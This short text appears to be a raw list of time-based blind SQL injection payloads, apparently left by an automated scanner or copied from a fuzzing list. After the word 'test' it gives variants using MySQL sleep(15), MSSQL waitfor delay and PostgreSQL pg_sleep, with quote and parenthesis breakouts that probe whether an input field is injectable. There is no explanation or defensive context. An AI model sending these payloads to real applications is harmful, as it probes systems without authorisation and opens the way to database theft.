test

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555-1; waitfor delay '0:0:15' --

555-1); waitfor delay '0:0:15' --

555-1 waitfor delay '0:0:15' --

555p8qc5uuE'; waitfor delay '0:0:15' --

555-1 OR 924=(SELECT 924 FROM PG_SLEEP(15))--

555-1) OR 657=(SELECT 657 FROM PG_SLEEP(15))--

555-1)) OR 687=(SELECT 687 FROM PG_SLEEP(15))--

555HTod9xB3' OR 798=(SELECT 798 FROM PG_SLEEP(15))--

5558SUzlT8d') OR 981=(SELECT 981 FROM PG_SLEEP(15))--